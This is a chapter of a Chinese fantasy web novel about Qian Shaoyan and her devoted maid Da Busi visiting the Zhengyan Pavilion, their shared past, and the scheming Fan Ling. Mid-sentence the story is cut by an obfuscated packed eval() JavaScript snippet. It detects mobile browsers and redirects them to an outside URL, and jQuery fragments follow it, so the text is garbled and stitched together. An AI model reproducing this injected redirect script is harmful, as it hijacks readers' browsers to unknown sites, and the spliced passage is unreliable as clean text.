“一共三十两。”
达不思倒吸一口气,下意识道:“抢钱呢?”
肥头圆脸小厮单手撑在柜台上,习以为常道:“反正是这个价,你要是出不起,就去凡花阁,据我所知行情,你二人四十五文便可进去观赏。”
“你!”达不思掏出钱袋,“我们就要来争艳阁,给你。”
小厮笑呵呵地换了副嘴脸,哈着腰掏出一枚令牌递给她们,“祝二位姑娘观花愉快,若在观赏途中,有何意见,出来后可与我反馈。”
乾邵颜进来时,便将这争艳阁经办所全都打量一遍。
整个房间比他们中北的百妖铺大上三倍,墙上铺刷着崭新的赤色壁画,不止壁画,柜台,小厮的衣衫,窗纸,柱子尽是血染般的红,艳得让人感到不适。
柜台不似壁画那般新,有些许掉色,它的背后左方是小窗,正中是一道红帘,右方则是一道暗门。
想必就是育花入的门。
结合之前种种,乾邵颜凑上去,小声道:“现在育花还开放吗?”
小厮眯眯眼,也小声道:“开放,姑娘要是想育花,可以等今晚子时前来。”
说着,他从柜台掏出一枚令牌,递给她。
乾邵颜接过,她问道:“我有几个好友也想来这争艳阁,但却碍于性别而被阻挡在外,梵灵公子定下只许女子进入,可有何缘由吗?”
小厮露出圆滑的笑,反手扣着柜面,意有所指道:“公子的决定不是我等能左右的。”
乾邵颜秒懂,她从达不思手里握着的钱袋中掏出几两碎银,递过去道:“小小心意,还望莫要嫌弃。”
苍蝇再小也是肉。
小厮还是第一次见如此上道的小姑娘,他右手塞碎银进腰间,朝周围左瞧右瞧一番,才偷偷把脸凑上来道:“姑娘,你可别外传哈,我猜测与公子他娘有关,我听别人说,早些年,三阁公子的娘当时因中北乾家利用书器收走她的夫君,伤心不已,抛下三公子,以身殉情。此后,大公子远离尘世,二公子变得呆痴,小公子脸上再无笑容,一年时间里,小公子将争艳阁送回往日辉煌,于五年前下达命令,此阁不允许男子进入。公子用意不言而喻,意在警醒姑娘,看遍世间最艳的花,便莫要再溺于短暂爱意中失去自我。”
乾邵颜若有所思地道谢。
随后,她和达不思走出经办所,进入争艳阁里。
达不思咬着嘴唇道:“小姐,听掌柜说的话,梵灵公子还挺不错。”
闻言,乾邵颜目视前方,“只听他一面之词,其中混着几分真几分假,我们是不知晓的,断然不可全信。”
“不思,知道了。”
“死人尸身埋于花妖培育的土壤里,可得到净化,下辈子亦能得到好的归宿。想必,这是梵灵公子的初衷。但这也有一个弊端,就是会让有机之人可乘。律法必须对此有所限定,不然,等越来越多的人知晓,穷困之人若人人通过互相残杀来换取微薄的救济钱财,久而久之,必会乱了整个人界。”
“是哦,惜羡公子就是受害者。”达不思回想。
“小姐,你对惜羡公子那么好,是喜欢他吗?”达不思冷不丁问。
乾邵颜在心中计算着距离子时的时间,没多想接道:“你不喜欢他们吗?”
达不思见她没理解自己的意思,她又补述道:“不是,是话本中亲亲的那种喜欢。”
乾邵颜如同被雷击一般,停下脚步,她伸手弹了一下她的额头,气笑道:“不思,回去我再也不给你买话本看了。你回去必须给我看一些正当的书,省得你在这胡思乱想。”
达不思吃痛,“真的没有吗?小姐待他,与我别无二致,你也会温柔、耐心地安慰他,你还说要带他回中北。”
达不思低下头,眼里带着一丝伤心。
“好啊你,不思,居然学会偷听人讲话了。”乾邵颜彻底明白过来。
昨夜回去的时候,被子里的余温不似那般温热,而且小姑娘的手脚冰冷,她还以为是开窗的原因,着实没想到她在偷听他们说话。
“对不起,小姐,我不是有意偷听的。”达不思连忙道歉,她偷偷朝上看小姐的神情,委屈道:“小姐,不是不知道,不思要保护你,你不在不思身边,不思是睡不着的。”
“那是我的错。”乾邵颜盯着她。
“不是小姐的错,是不思的错,”达不思抢着话道:“我承认他比我长得好看,比我身世凄惨一些,比我更聪明一些,比我会装可怜……”
乾邵颜越听,脸越黑,她忍不住打断道:“你都听到多少?”
达不思头低得更低,“从故事讲完……”
“嗯?”乾邵颜一秒看穿她的谎言,她双手抱胸等着。
“全…全都听见了。”达不思耷拉着脑袋,有气无力道。
算算时间,她和不思相识十二年之久。
她还记得,刚来的时候,她刚经历一场浩劫,记忆全无,像个稻草人一样无悲无喜,总是坐在她屋外的阶梯上望着树上的桂花树发呆。
她与她说话,她也不搭理。
后来,桂花落,干枯的桂花树上压满了梨花。
她不再坐在她屋外的台阶上,而是转而坐到百妖铺的门外。
她还不会说话,但外人的话,她也算是能够听懂。
听到开心的话,她会点头、微笑。
听到难过的话,她会绷着脸站起,随后躲在乾邵颜的门外偷偷哭泣。
往往,乾邵颜会替她出头,并告诉她,“你快学会说话,这是最后一次,下不为例。”
“下不为例”四个字一直说到梨花消失,金桂重现。
又一年秋。
她终于学会说话与写字。
乾邵颜暗自和羌钲钍师兄较劲,看谁先让她学会写他们的名字。
赌注是一个誊写着诗文图案的风筝。
中北徐伯的独家手艺,所做风筝独一无二,绝不会做两个一模一样的。
她和师兄都喜欢,又不愿与对方共享,他们便以此来争风筝。
不枉乾邵颜日夜陪伴,她先写出“邵颜”二字。
不过,她后来无意听不思说漏嘴,是师兄故意拿美食诱惑她,让她先写她的名字。
只因他并不喜那个风筝,他其实更喜欢山水图案的风筝,但怕她抢,便故意而为。
这件事,气得乾邵颜一个月没理他俩。
一是气他们合伙骗她。
二是气她自己蠢笨。
和好是在她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269833|182257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生辰。
他二人偷偷和徐伯学手艺,做了一个巨丑的山水风筝,送给她了。
这件事算是翻篇了。
她和不思有太多回忆,她算是一个喜欢表露情绪的人,但她没想到不思对于失去她的这件事会很敏感。
之前她提过几次,乾邵颜都以为是在开玩笑,现在她是真切地感受到她的害怕,看来她必须要与她说明白。
乾邵颜摸摸她的头,耐心道:“不思,还记得我们的初相识吗?”
达不思摇摇头,“不记得了。”
她也不知从何时她有了鲜活的生命,不知何时记忆中有了小姐的笑容。
“你看,你不记得,我还记得。此生,我亦会永远记得,你总说是我救了你,实则你也是我的小太阳。所遇的任何人都无法消除我们曾经相处的往昔,都无法替代你在我心中的位置。”乾邵颜缓缓吐出。
达不思抬头,眼中带着亮光,道:“即使小姐日后嫁人吗?”
“是。”乾邵颜反问道:“不思,你还记得我在中北捡到的那只黑羽乌鸦吗?”
“记得,它自证清白,后来飞走了。”达不思乖巧道。
“我见到惜羡第一眼,就感到他和那只黑乌鸦一样,值得我救,值得活下去。我觉得,应该是喜欢的吧,不然又怎会随心而行?”
“哦,我明白。就像我喜欢小姐,小姐喜欢我的这种感情。”达不思心情顺畅多了。
她承认自己有私心,她不想让小姐嫁人。
世间绝对没有人能够比她对小姐更好。
她愿意把命奉上,谁能相比?
乾邵颜点头。
“小姐喜欢他,那不思也愿意喜欢他,日后我一定也要像小姐一样保护他。可是人间明明很好啊,他单单是冥冥众生中的一小枚棋子,为何一而再再而三地想放弃生机呢?”
“他是一颗有特殊能力的棋子,利用得好可以拯救苍生,利用得不好亦会毁掉苍生。他历经太多人间痛苦的一面,但内心还尚存一丝丝希翼,他深知自己不可控,遂以死阻止自己的不可控。”
“不思,听不懂。”达不思摇摇头。
乾邵颜没有接话,揉揉她的小脸,“慢慢你便会明白。”
达不思钻进她的怀中,道:“不思此生誓死保护小姐。”
不远处桃花树上,梵灵盯着掌心小花瓣里面的画面,淡淡道:“好一对忠心主仆。”
五年将至,那小子还活着,还交到这么多朋友。
如今他定是欢喜得不得了吧。
想到这,掌心的花瓣自焚,梵灵复用头枕着双臂,装作毫不在意地躺在桃树枝上。
明明他们是同路人,可他却比他顺遂这么多。
不过没关系,他一定会让他知道那个秘密。
届时,他定会痛苦不已,与他一样。
不,他们不一样了。
明日,他的大业将成,世间活在痛苦与挣扎中的人只剩他了。
梵灵想到那个画面,嘴角不自觉勾起。
他等着他,向他,求忘尘花的那一天。
脚步声越来越近,桃花树上的人皱眉探去,他翻身,消失不见。
两三粉嫩桃花瓣随风飘起,飞向远方……